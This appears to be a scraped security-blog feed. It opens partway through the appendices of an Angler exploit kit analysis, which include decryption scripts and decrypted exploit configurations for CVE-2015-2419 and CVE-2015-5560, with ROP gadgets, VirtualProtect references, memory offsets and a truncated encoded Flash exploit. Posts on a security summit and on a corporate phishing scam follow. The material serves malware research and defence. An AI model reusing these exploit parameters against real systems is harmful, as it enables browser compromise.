xi[i].add((((long)H)*table.get(z) - v) % qi); stop = true; break; } z = z.multiply(_a).mod(p); } table.clear(); System.gc(); } System.out.println(xi[i].toString()); } rec(0); Iterator<BigInteger> it = res.iterator(); while(it.hasNext()){ System.out.println(; } } } Appendix B. Intercepted Encrypted Shellcode Decryption PHP Script by Using the Known Diffie-Hellman Shared Secret <?php include 'xtea_ak.php'; $dh = "0eb034f99e33e17df058de5b448b7241"; $resp = "eyJCIjoiMDJhYTY1MjZ…"; $dh = hex2bin($dh); $json = json_decode(base64_decode(rawurldecode($resp))); $k = base64_decode(rawurldecode($json->k)); $xtea = new XTEA($dh); $k = $xtea->Decrypt($k); $data = base64_decode(rawurldecode($json->b)); $xtea = new XTEA($k); $data = $xtea->Decrypt($data); $data = rtrim($data, ""); echo $data; ?> Appendix C. Decrypted Shellcode {"ll":"length","I":"charCodeAt","llI":"fromCharCode","Il":"floor","IIl":"random","l":"stringify","III":"location","II":"host","lI":"number","IlI":"ScriptEngineBuildVersion","lIl":"ScriptEngineMajorVersion","Ill":"ScriptEngineMinorVersion","lII":"ur0pqm8kx","lll":"http://","lIll":"/","lllI":"u","IlIl":"x","IIlI":"xexec","lIII":"EAX","Illl":"ECX","IIIl":"EDI","IllI":"ESP","lIIl":"POP EAX","llII":"XCHG EAX,ESP","IIll":"MOV [ECX+0C],EAX","llIl":"JMP EAX","IIII":"CALL [EAX+4C]","llll":"MOV EDI,[EAX+90]","lIlI":"a","llIll":"kernel32.dll","IlII":"virtualprotect","IIIlI":11,"lllll":0,"lIlIl":17905,"IIIII":500,"IlIll":16,"lIIlI":0,"IlllI":1,"IIllI":2,"lIIII":3,"IIIIl":4,"llIIl":5,"lIlII":8,"llIII":9,"llllI":10,"IlIII":11,"lllIl":12,"lIlll":16,"IlIIl":24,"lIllI":2147483647,"IIlll":4294967295,"IIIll":255,"IIlII":256,"llIlI":65535,"IIlIl":16776960,"lIIIl":16777215,"lIIll":4294967040,"IllII":4294901760,"IllIII":4278190080,"IlIlI":65280,"lllII":16711680,"Illlll":19,"IIIIIl":4096,"Illll":4294963200,"IllIl":4095,"IlIIll":14598366,"IIIIlI":48,"llIIlI":32,"IlIIIl":15352,"lIIIII":85,"llIlII":4096,"llllII":311296000,"IlIlII":61440,"IIlIll":24,"lllllI":32,"lllIll":17239,"IllIIl":15,"lIllll":256,"IIIlll":76,"IllIlI":144,"IIIIII":65536,"IIlllI":100000,"llIlll":28,"IIIlII":60,"llIlIl":44,"lIIIll":28,"IllllI":128,"IIllIl":20,"IlIlIl":12,"lIIIlI":16,"IlIllI":4,"llIIII":2,"llllll":110,"IlIlll":64,"IIIIll":-1,"lIlIII":0,"IIIllI":1,"lIIllI":2,"IlIIII":3,"IlllIl":4,"lllIII":5,"lIlllI":7,"lIIIIl":9,"lllIlI":10,"IllIll":11,"IIIlIl":12,"IIlIII":-2146823286,"llIIIl":[148,195],"lllIIl":[88,195],"IlIIlI":[137,65,12,195],"lIIlIl":[255,224],"IIllll":[255,80,76],"lIlIlI":[139,184,144,0,0,0],"IIlIlI":[122908,122236,125484,2461125,208055,1572649,249826,271042,98055,62564,162095,163090,340146,172265,163058,170761,258290,166489,245298,172955,82542],"IIlIIl":[76514,78206,169140,1564283,57653,92732,277930,57206,212281,94821,94789,140864,95448,95192,89830,133640],"lIllIl":[150104,149432,152680,3202586,214836,3204663,361185,285227,103426,599295,365261,226292,410596,180980,226276,179716,320389,175621,307381,792144,183476],"IlllII":[68393,159289,2065114,93035,78635,263996,90969,131279,116207,116175,67007,117999,117551,3965891,96438,107246],"llIIll":[54887,141400,75989,63764,1761036,68463,201153,1001000],"llIllI":[120559,120527,121839,120834,120386,119458,117442],"lIlIll":48,"lIIllll":57,"lIIlII":65,"llllIl":90,"IIIIlll":97,"lIlllII":122,"IIllII":16640,"llIIIlI":23040,"IlIlIII":4259840,"lIIlIIl":5898240,"IIlIIIl":1090519040,"IlIIlII":1509949440,"IllIIlI":32,"lIlIIl":8192,"IIlIIll":2097152,"lIIlllI":536870912,"llIlIIl":{"17416":4080636,"17496":4080636,"17631":4084748,"17640":4084748,"17689":4080652,"17728":4088844,"17801":4088844,"17840":4088840,"17905":4088840}} Appendix D. Decrypted Shellcode for the CVE-2015-2419 Vulnerability from the Traffic Dump of the Older Angler Version {"ll":"length","l":"charCodeAt","I":"fromCharCode","Il":"floor","IlI":"random","lI":"stringify","lII":"location","II":"host","llI":"number","lll":"ScriptEngineBuildVersion","lIl":"ScriptEngineMajorVersion","IIl":"ScriptEngineMinorVersion","Ill":"setInterval","III":"clearInterval","lIlI":"ur0pqm8kx","IlII":"http://","lllI":"/","lIIl":"u","IlIl":"x","llll":"xexec","Illl":"EAX","lIII":"ECX","IIIl":"EDI","IllI":"ESP","IIlI":"XCHG EAX,ESP","IIll":"MOV [ECX+0C],EAX","llIl":"CALL [EAX+4C]","llII":"MOV EDI,[EAX+90]","IIII":"a","lIll":"kernel32.dll","lIlll":"virtualprotect","IIIlI":11,"lIIll":0,"lllll":17905,"lIllI":500,"llIIl":16,"IlIII":0,"IIIll":1,"IIlII":2,"lIlII":3,"IllIl":4,"lllIl":5,"IIlll":8,"lIlIl":9,"lIIIl":10,"IllII":11,"lIIlI":12,"IlIll":16,"IIIIl":24,"IlIlI":100,"IIIII":1,"llIlI":2,"lllII":2147483647,"llIll":4294967295,"IIllI":255,"llIII":256,"lIIII":65535,"IIlIl":16776960,"IlIIl":16777215,"llllI":4294967040,"IlllIl":4294901760,"Illll":4278190080,"IlllI":65280,"llllIl":16711680,"lllIlI":19,"llIIII":4096,"IIIIIl":4294963200,"IIlllI":4095,"llIIlI":14598366,"IIllIl":48,"llIIll":32,"IIIllI":15352,"llIlll":85,"lIIIII":4096,"IllllI":400,"lIIlII":311296000,"IIIlIl":61440,"llllII":24,"IIIIll":32,"IlIlIl":17239,"lllllI":15,"IllIll":256,"llIllI":76,"lllIll":144,"lIlIIl":17416,"IlIIll":65536,"IIlIll":100000,"lIlllI":28,"IIlIlI":60,"lIlIII":44,"IIIlll":28,"IllIII":128,"lllIIl":20,"lIIIll":12,"lIlIlI":16,"IIlIIl":4,"IlIIIl":2,"lIllll":110,"IIIlII":64,"IllIlI":-1,"lIIIIl":0,"IllIlII":1,"lIIlll":2,"IlIlll":3,"IIlIII":4,"lIllIl":5,"IIllll":7,"IIIIII":9,"lIlIll":10,"IlllII":11,"lIllII":12,"Illlll":-2146823286,"lIIIlI":[148,195],"lIIlIl":[137,65,12,195],"IIllII":[122908,122236,125484,2461125,208055,1572649,249826,271042,98055,62564,162095,163090,340146,172265,163058,170761,258290,166489,245298,172955,82542],"IlIIII":[150104,149432,152680,3202586,214836,3204663,361185,285227,103426,599295,365261,226292,410596,180980,226276,179716,320389,175621,307381,792144,183476],"IIIIlI":48,"IIIlIlI":57,"lllIII":65,"IllIIl":90,"IlIlII":97,"llllll":122,"IlIllI":16640,"llIlIl":23040,"IlIIlI":4259840,"lIIIIlI":5898240,"llIIIl":1090519040,"llIIIII":1509949440,"IlIIIlI":32,"IIIlllI":8192,"lllllII":2097152,"IIIllll":536870912,"llIlII":{"17416":4080636,"17496":4080636,"17631":4084748,"17640":4084748,"17689":4080652,"17728":4088844,"17801":4088844,"17840":4088840,"17905":4088840}} Appendix E. Decrypted Shellcode for the CVE-2015-2419 Vulnerability from the Traffic Dump of the New Angler Version {"ll":"length","I":"charCodeAt","llI":"fromCharCode","Il":"floor","IIl":"random","l":"stringify","III":"location","II":"host","lI":"number","IlI":"ScriptEngineBuildVersion","lIl":"ScriptEngineMajorVersion","Ill":"ScriptEngineMinorVersion","lII":"ur0pqm8kx","lll":"http://","lIll":"/","lllI":"u","IlIl":"x","IIlI":"xexec","lIII":"EAX","Illl":"ECX","IIIl":"EDI","IllI":"ESP","lIIl":"POP EAX","llII":"XCHG EAX,ESP","IIll":"MOV [ECX+0C],EAX","llIl":"JMP EAX","IIII":"CALL [EAX+4C]","llll":"MOV EDI,[EAX+90]","lIlI":"a","llIll":"kernel32.dll","IlII":"virtualprotect","IIIlI":11,"lllll":0,"lIlIl":17905,"IIIII":500,"IlIll":16,"lIIlI":0,"IlllI":1,"IIllI":2,"lIIII":3,"IIIIl":4,"llIIl":5,"lIlII":8,"llIII":9,"llllI":10,"IlIII":11,"lllIl":12,"lIlll":16,"IlIIl":24,"lIllI":2147483647,"IIlll":4294967295,"IIIll":255,"IIlII":256,"llIlI":65535,"IIlIl":16776960,"lIIIl":16777215,"lIIll":4294967040,"IllII":4294901760,"IllIII":4278190080,"IlIlI":65280,"lllII":16711680,"Illlll":19,"IIIIIl":4096,"Illll":4294963200,"IllIl":4095,"IlIIll":14598366,"IIIIlI":48,"llIIlI":32,"IlIIIl":15352,"lIIIII":85,"llIlII":4096,"llllII":311296000,"IlIlII":61440,"IIlIll":24,"lllllI":32,"lllIll":17239,"IllIIl":15,"lIllll":256,"IIIlll":76,"IllIlI":144,"IIIIII":65536,"IIlllI":100000,"llIlll":28,"IIIlII":60,"llIlIl":44,"lIIIll":28,"IllllI":128,"IIllIl":20,"IlIlIl":12,"lIIIlI":16,"IlIllI":4,"llIIII":2,"llllll":110,"IlIlll":64,"IIIIll":-1,"lIlIII":0,"IIIllI":1,"lIIllI":2,"IlIIII":3,"IlllIl":4,"lllIII":5,"lIlllI":7,"lIIIIl":9,"lllIlI":10,"IllIll":11,"IIIlIl":12,"IIlIII":-2146823286,"llIIIl":[148,195],"lllIIl":[88,195],"IlIIlI":[137,65,12,195],"lIIlIl":[255,224],"IIllll":[255,80,76],"lIlIlI":[139,184,144,0,0,0],"IIlIlI":[122908,122236,125484,2461125,208055,1572649,249826,271042,98055,62564,162095,163090,340146,172265,163058,170761,258290,166489,245298,172955,82542],"IIlIIl":[76514,78206,169140,1564283,57653,92732,277930,57206,212281,94821,94789,140864,95448,95192,89830,133640],"lIllIl":[150104,149432,152680,3202586,214836,3204663,361185,285227,103426,599295,365261,226292,410596,180980,226276,179716,320389,175621,307381,792144,183476],"IlllII":[68393,159289,2065114,93035,78635,263996,90969,131279,116207,116175,67007,117999,117551,3965891,96438,107246],"llIIll":[54887,141400,75989,63764,1761036,68463,201153,1001000],"llIllI":[120559,120527,121839,120834,120386,119458,117442],"lIlIll":48,"lIIllll":57,"lIIlII":65,"llllIl":90,"IIIIlll":97,"lIlllII":122,"IIllII":16640,"llIIIlI":23040,"IlIlIII":4259840,"lIIlIIl":5898240,"IIlIIIl":1090519040,"IlIIlII":1509949440,"IllIIlI":32,"lIlIIl":8192,"IIlIIll":2097152,"lIIlllI":536870912,"llIlIIl":{"17416":4080636,"17496":4080636,"17631":4084748,"17640":4084748,"17689":4080652,"17728":4088844,"17801":4088844,"17840":4088840,"17905":4088840}} Appendix F. Decrypted Exploit and the Shellcode for the CVE-2015-5560 Vulnerability from the Traffic Dump of the New Angler Version {"IIl":"flash.utils.ByteArray","lIl":"flash.system.Capabilities","lII":"flash.utils.Endian","IlI":"","lI":"flash.display.BitmapData","Il":"51432096JhvTqLk896S","llI":"win ","II":"os","III":"toLowerCase","l":"toString","I":"version","ll":"playerType","lll":"substr","Ill":"split","IIll":"length","lIII":"activex","IllI":"plugin","IIIl":"windows 8","llll":"windows 8.1","lllI":"position","lIlI":"writeInt","IlIl":",","IIlI":"LITTLE_ENDIAN","llII":"endian","Illl":"writeUnsignedInt","lIll":"readUnsignedInt","IIII":"clear","IlII":"loadCompressedDataFromByteArray","llIl":"lock","IlIIl":"id3","IIIlI":"getPixel","lIIl":"setPixel","IIIII":"getPixel32","lIIII":"setPixel32","IlllI":"uncompress","IIlll":"eNrt3N9rV3Ucx … <gz compressed and base64 encoded exploit here> … SjU2nniwfHH/rsoZljfva+jo2777rP/nXvF8\u003d","lllII":40,"IllIl":0,"IlIII":1,"lIIlI":2,"lIlll":3,"lIlII":4,"lllIl":5,"lllll":6,"IIlIl":7,"llIIl":8,"llllI":9,"IIIll":10,"IllII":12,"IIllI":16,"llIlI":20,"lIIll":24,"lIIIl":32,"lIlIl":35,"Illll":36,"IlIlI":40,"IIlII":44,"IIIIl":48,"llIIII":56,"IlIll":60,"IlIlII":64,"IIlIIl":68,"IlIllI":88,"IIlIII":96,"lIIIII":700,"lIllIl":1000,"lIIlll":127,"llIlII":255,"lIIlII":65280,"lIlllI":4278190080,"IlIIII":4294901760,"lIIIll":4294967040,"llIlIl":16777215,"IIIlII":32639,"IllIll":2139062143,"lllllI":4096,"lIlIll":12582912,"IIllII":4,"IIIIlI":4293769918,"IIIIIl":4290706126,"lIIlIl":1073741824,"lllIlI":16384,"IIllll":16384,"IIIIll":2989,"IIlIlI":3133078208,"llIIll":65535,"lllIll":9460301,"Illlll":50068,"lIIIIl":3272131715,"llIIIl":4283498891,"IlIlIl":2128,"lIIllI":4096,"IIIIII":369054032,"IlIIIl":4096,"llllII":1778939391,"IlIIlI":50069,"IllIlI":50071,"lIIIlI":212,"llIIlI":4277009102,"IIIlll":4276992702,"llIllI":32,"IllllI":28,"IllIII":3435973836,"lllIII":1476,"IlllIl":4096,"IlIIll":4293844428,"llllll":283873424,"lIllll":1894496,"IIlllI":2337756701,"lllIIl":74485048,"IIIllI":1604691365,"llIlll":4236859486,"IIllIl":2425406301,"IIlIll":552308880,"IlllII":3401824,"IlIlll":1348534272,"IllIIl":232,"IIIlIl":3900921856,"IllllIl":2337756717,"IIlIIII":1888292984,"lIlIlI":2779096340,"lIlIIl":277569119,"lIlIII":2298759307,"IIlIIlI":1217073226,"IIIlIIl":340429064,"lIllII":1477208203,"IIlIlIl":2198889099,"llllllI":1660880068,"llIIlII":2425393172,"llllIl":840,"lIlIlII":16384,"IIIIlIl":4096,"IllllII":252,"IlllIIl":3072,"lllIIIl":104,"IIlIlII":4276992512,"IIllIIl":3133014222,"IlllIII":117700202,"lIIIlIl":130000305,"lIlIllI":130000309,"IIIllII":180000209,"llllIIl":448,"lIllllI":16384,"lllllIl":1447244336}

Our Fifth Latin American Security Analysts Summit in Santiago de Chile

Malware Alerts - Thu, 09/03/2015 - 06:35

Another memorable installment of the Latin American Security Analysts Summit has come and gone! This time it was held in the exquisite city of Santiago de Chile, where journalists from all over the region were greeted by Kaspersky Lab’s research team for two full days of knowledge and a little bit of leisure. This fifth edition of the conference was undoubtedly special for everyone thanks to a keynote delivered by our own Eugene Kaspersky, presenting on not only the current global threat landscape but also what the future holds for us when it comes to cybersecurity. The ‘Internet of Threats’ instantly caught the attention of the crowd, revealing the flipside of the coin of technological innovation: more and more devices are connected, but are they secure? Do companies really have an incentive to spend their time and money on security features before competitors beat them to the marketplace?

Despite pisco sour-fueled reception the night before, everyone still managed to look alive the first day and the venue was ready to accommodate more than thirty representatives from all over the region. The fifth edition of our regional summit celebrated in Santiago de Chile joined 34 journalists from 11 countries which participated in the two-day long conference. More than 80 interviews took place. In addition to top tier IT, general interest and business media from key markets in the region, we had the participation of international news wires such as EFE and Reuters. Media from the following countries participated: Argentina, Brasil, Chile, Colombia, Costa Rica, Guatemala, México, Paraguay, Perú, USA, and Venezuela. Attendees were eager to get an overview of the current regional situation, an expectation clearly met by Dmitry Bestuzhev’s presentation on our regional threat landscape. An interesting distinction was made between malware targeting home users and malware targeting companies, showing that not all threats are conceived with the same target in mind. The increase in mobile malware and the high percentage of OSX malware detections raised eyebrows, reinforcing the perception that no one is inherently safe from malware. It’s a numbers game and cybercriminals will shift their focus in a heartbeat if they think they can monetize their creations more swiftly on another platform.

Carlos Alvarez, a special guest from the non-profit organization ICANN, shared with us the importance of the DNS protocol nowadays and more so when we are on the verge of adopting IPv6 at a global scale. Maintenance of the root DNS servers has the clear intent of ensuring the network’s stable and secure operations, all the while allowing us to type convenient and memorable domain addresses instead of a set of dot-separated numbers that mean little to most of us. With that idea still fresh in our minds, brazilian Senior Security Researcher Fabio Assolini shared his investigations regarding modern financial threats that employ DNS hijacking and poisoning attacks. Every device in our home is connected through a modem or router provided by our ISP but what happens when this device is vulnerable to DNS hijacking? Fabio showed how a cybercriminal could change the device’s DNS settings to redirect the traffic to DNS servers under his control. Compromising one simple internet routing device seemed enough to get control of every little IoT gadget connected through it. What then when this is done at ISP-level?

Eugene Kaspersky’s keynote showed the harsh reality of cybersecurity, one where a silver bullet is simply not feasible but gladly we’ve already seen the worst type of threats envisioned for years to come. Organized cybercrime is a reality and it’s why Kaspersky Lab’s collaboration with international law enforcement agencies such as Europol and Interpol is so important nowadays. Cybercrime doesn’t know about frontiers and if we want to keep the bad guys at bay the cyber police needs to work globally and in conjunction with private companies that have the knowledge and expertise to provide them with the necessary information to advance their investigations. It was a thought-provoking speech, that set the right mood in the audience for what was yet to come in this first day of talks.

My colleague and fellow researcher Juan Andrés Guerrero-Saade was warmly welcomed by a great number of journalists after he announced the topic for his presentation ‘Journalists: targets of cyberespionage’. Leaving the academic format at the door, this presentation enticed all attendees to realise why they might pose an interesting target for cyberspies and taught them how to protect themselves from these attacks in a workshop-style manner. Demonstrating a wide range of tools to protect communications and the endpoint, the right equilibrium between security and convenience was discussed at length with custom-tailored content aimed for our regional attendees. It is a new world, and journalists usually deal with critical information that can get them in trouble if they don’t apply adequate procedures in protecting their online activities.

Appealing to popular wisdom, Mexican Security Researcher Roberto Martinez appeared on scene with a live demo of the security risks involved in trusting all your security to this new wave of internet-connected devices. With a bluetooth lock, he showed how a simple phishing attack could literally open the door for you to meet cybercriminals in real life. In addition, a myriad of possibilities is opened when we analyze the protocols which are used in these devices and how our entire life is uploaded to the cloud. Do you share your comings and goings with everyone else? In the near future, you just might…

Finally it was my turn to present on the state of ransomware. I was met with surprised looks from the audience when I began with a ransomware sample from 1989. The problem itself is not new, but has instead been dormant for many years only to be awakened but our latest improvements in the areas of cryptocurrencies and anonymous networks. The rise in the number of detections in ransomware (65% from 2014 to Q1 2015) demonstrates that this malware family is here to stay and we have only seen the beginning. My predictions of more ransomware targeting mobile and IoT devices was met with sad faces as I mentioned that in the near future ransomware just might lock you out of your fridge (and your iced beverage of choice) or disappoint you as you’re about to leave for work in your latest connected smart car. Right now, the threat is extremely visible in desktop environments, as too many campaigns are wreaking havoc at this time. Once again, collaboration between private companies and law enforcement may be the only way to go. As in the case of CoinVault which showed that Kaspersky’s joint effort with NHCTU yielded positive results for thousands of users who were able to recover their files thanks to our freely available decryption tool, which employs the keys seized and provided by the police.

The closing presentation was given by Dmitry Bestuzhev, this time delving into the depths of mobile implants. These devious creations have evolved into true artifacts of cyberespionage, intercepting communications of all types and being used as tracking devices by malicious campaigns. With the ubiquity of mobile phones and our extensive dependency upon them, we could carry our own pocket-sized worst enemy, inadvertently bringing a recording device into the discussion of sensitive topics. Even though many such implants exist for the Android operating system, we were taken on a tour of other ecosystems thus revealing that if a target is worth the investment an implant will be made.

But of course, all work and no play makes Jack a dull boy, so that’s why a tour to the ‘Cerro San Cristobal’ and the long awaited visit to ‘Estancia El Cuadro’ presented a comfortable and laid-back environment to discuss cybersecurity topics while learning about Chilean culture and enjoying a nice rodeo show with the characteristic ‘huasos’ at centerstage. The summit is a truly unforgettable experience that only gets better each year, and as we look forward to the sixth edition of our regional conference, we can only say… gracias Chile and I hope you can join us next time!

TGIF(P) – Thank god it’s fried phish

Malware Alerts - Thu, 09/03/2015 - 01:41

There is that expression “TGIF” and I recently noticed that some of my Japanese colleagues/friends would not know what it actually stands for.

Spoiler: It commonly means “Thank god it’s Friday” and probably many working people will be able to appreciate such a feeling.

On the other hand, while many offices may close down for the weekend, it’s the time for bad guys to boost their activity because they count on the fact that they may go unnoticed for some time, at least until the upcoming Monday morning.

The IT community is working hard to find and take down malicious sites as soon as possible, but then … the weekend is the weekend for many.

What happened just last Friday may be a good example of such malicious weekend activity. We received the following email to one of our inboxes:

The email body utilizes some social engineering in order to scare the email receiver about possible loss of emails. It also somehow mentions “high massage” but that may just be a spelling error on the bad guy’s side.

When we click the contained link (which is, of course, one of those “don’t do this at home” things), we see the following:

After clicking “OK”, we get a popup which looks very much like the popup of a Microsoft email client. Note that it is quite well crafted, containing the domain name of the email receiver several times.

When we input some data into that form, we get this:

Again, it looks well crafted, containing the domain name several times, and even including a copyright notice.

To top it all, that page contains functionality to search the web for the mentioned domain name and finally directs the user’s browser to the search result:

The above content may not seem too convincing to an average home user. This phish seems more likely to target corporate users, as the style of the information shown above mimics the corporate environment very well.

However, attentive users may spot the following details which give away the fake:

  1. Email sender à mismatching the domain name;
  2. “Hello User” à is probably not commonly used to address staff;
  3. All clickable links in the email body point to the same location;
  4. Spelling mistakes like “massage”;

We have added the malicious site to our anti-phishing blacklist.